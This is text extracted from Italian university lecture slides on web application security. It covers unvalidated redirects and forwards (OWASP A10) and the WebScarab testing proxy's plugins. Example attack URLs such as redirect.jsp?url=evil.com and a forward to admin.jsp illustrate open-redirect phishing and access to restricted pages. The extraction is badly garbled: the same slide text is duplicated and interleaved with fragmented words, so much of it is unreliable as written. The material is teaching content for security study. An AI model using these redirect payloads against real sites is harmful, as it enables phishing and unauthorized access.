http://www.x.com/redirect.jsp?url=evil.com
A10 - scenari
forward
girare“redirect.jsp”
richieste tra diverse
partiun
del
sito con per
funzione
che riceve
sito
tramite
un
parametro
(es.
se
una
transazione
è
singolo parametro “url”
avvenuta correttamente)
l’attaccante crea un URL malevolo per installare
l’attaccante crea un URL per accedere a una
malware o per fare phishing
pagina alla quale non è possibile accedere
http://www.x.com/redirect.jsp?url=evil.com
direttamente
forward
per girare richieste tra diverse parti del
http://www.x.com/boring.jsp?fwd=admin.jsp
sito tramite un parametro (es. se una transazione è
avvenuta correttamente)
l’attaccante crea un URL per accedere a una
pagina alla quale non è possibile accedere
direttamente
http://www.x.com/boring.jsp?fwd=admin.jsp
Test di applicazioni web: WebScarab
http://www.owasp.org/software/webscarab.html
strumento molto potente ... ma richiede:
lle applicazioni web
(web app sec - gen'13)
conoscenze web (HTTP, HTML, JS, CSS, XML, ...)
Test
di applicazioni
WebScarab
conoscenze
di sicurezzaweb:
(vulnerabilità
web)
programmabile:
http://www.owasp.org/software/webscarab.html
molti plugin già disponibili
strumento molto potente ... ma richiede:
altri possono essere scritti ad-hoc per il proprio test
lle applicazioni web
(web app sec - gen'13)
conoscenze web (HTTP, HTML, JS, CSS, XML, ...)
funzioniPlugin
base: per WebScarab (I)
conoscenze di sicurezza (vulnerabilità web)
local intercepting proxy (sia HTTP sia HTTPS) con
programmabile:
manipolazione
di script
Request
e Response
fragments
= estrae
e commenti
molti
plugin
log
diintercept
tutto ilgià
dialogo
client-server
manual
=disponibili
modifica
"al volo" dei dati
altri possono essere scritti ad-hoc per il proprio test
beanshell = manipolazione richieste e risposte
tramite
funzioniPlugin
base:in Java
script
per WebScarab (I)
local
intercepting
(siai HTTP
HTTPS)
con
reveal
hidden
fields proxy
= rende
campisia
hidden
visibili
manipolazione
di
Request
e
Response
ed
editabili
fragments = estrae script e commenti
dilog
diintercept
tutto
il dialogo
simulator
= client-server
rallenta
traffico
ioy - Politecnico
Torino
(2009-2013)
25
bandwidth
manual
= modifica
"alilvolo"
deiper
dati
simulare l'effetto di una linea lenta
beanshell = manipolazione richieste e risposte
spider
identifica
URL contenute nella pagina
tramite=script
in Java
request
= creazione
di una visibili
manual
reveal hidden
fields
= rende manuale
i campi hidden
richiesta
(nuova
o
replay
di
una
vecchia)
ed editabili
bandwidth
simulator = rallenta il traffico per
ioy - Politecnico
di Torino (2009-2013)
25
simulare l'effetto di una linea lenta
spider = identifica URL contenute nella pagina
manual request = creazione manuale di una
richiesta (nuova o replay di una vecchia)
Plugin per WebScarab (II)
sessionID analysis = analisi (semplice) dei
session-id nei cookie per vedere se sono random
scripted = sviluppo di applicazioni Java che
sfruttano gli oggetti Request e Response di
Plugin per WebScarab (II)
WebScarab
parameter fuzzer = manipolazione automatica dei
sessionID
analysis
analisi
(semplice)
parametri di
un form= per
tentare
XSS o dei
session-id
nei
cookie
per
vedere
se sono random
SQLinjection
scripted
=
sviluppo
di
applicazioni
Java cheper
search = scrittura di espressioni BeanShell
sfruttano
gli
oggetti
Request
e
Response
identificare gli scambi dati da tracciare di
WebScarab
compare = calcola il numero di variazioni tra la
parameter
= manipolazione
automatica dei
transazionefuzzer
corrente
ed una di riferimento
parametri di un form per tentare XSS o
SQLinjection
permette di manipolarli (deprecato: usare SOAPUI)
extensions = ricerca automatica di file (lasciati per
errore sul server) con estensioni a piacere (.bak
Plugin
.zip .tar.gz
~ ...) per WebScarab (III)
XSS/CRLF = analisi passiva delle risposte HTTP
SOAP
= interpreta
WSDL, ne
mostra
e
per vedere
se contengono
dati
sotto iildati
controllo
permette
di
manipolarli
(deprecato:
usare
SOAPUI)
dell'utente (per fare XSS o splitting della risposta)
extensions = ricerca automatica di file (lasciati per
errore sul server) con estensioni a piacere (.bak
.zip .tar.gz ~ ...)
XSS/CRLF = analisi passiva delle risposte HTTP
per vedere se contengono dati sotto il controllo
dell'utente (per fare XSS o splitting della risposta)
ioy - Politecnico di Torino (2009-2013)
27
ioy - Politecnico di Torino (2009-2013)
27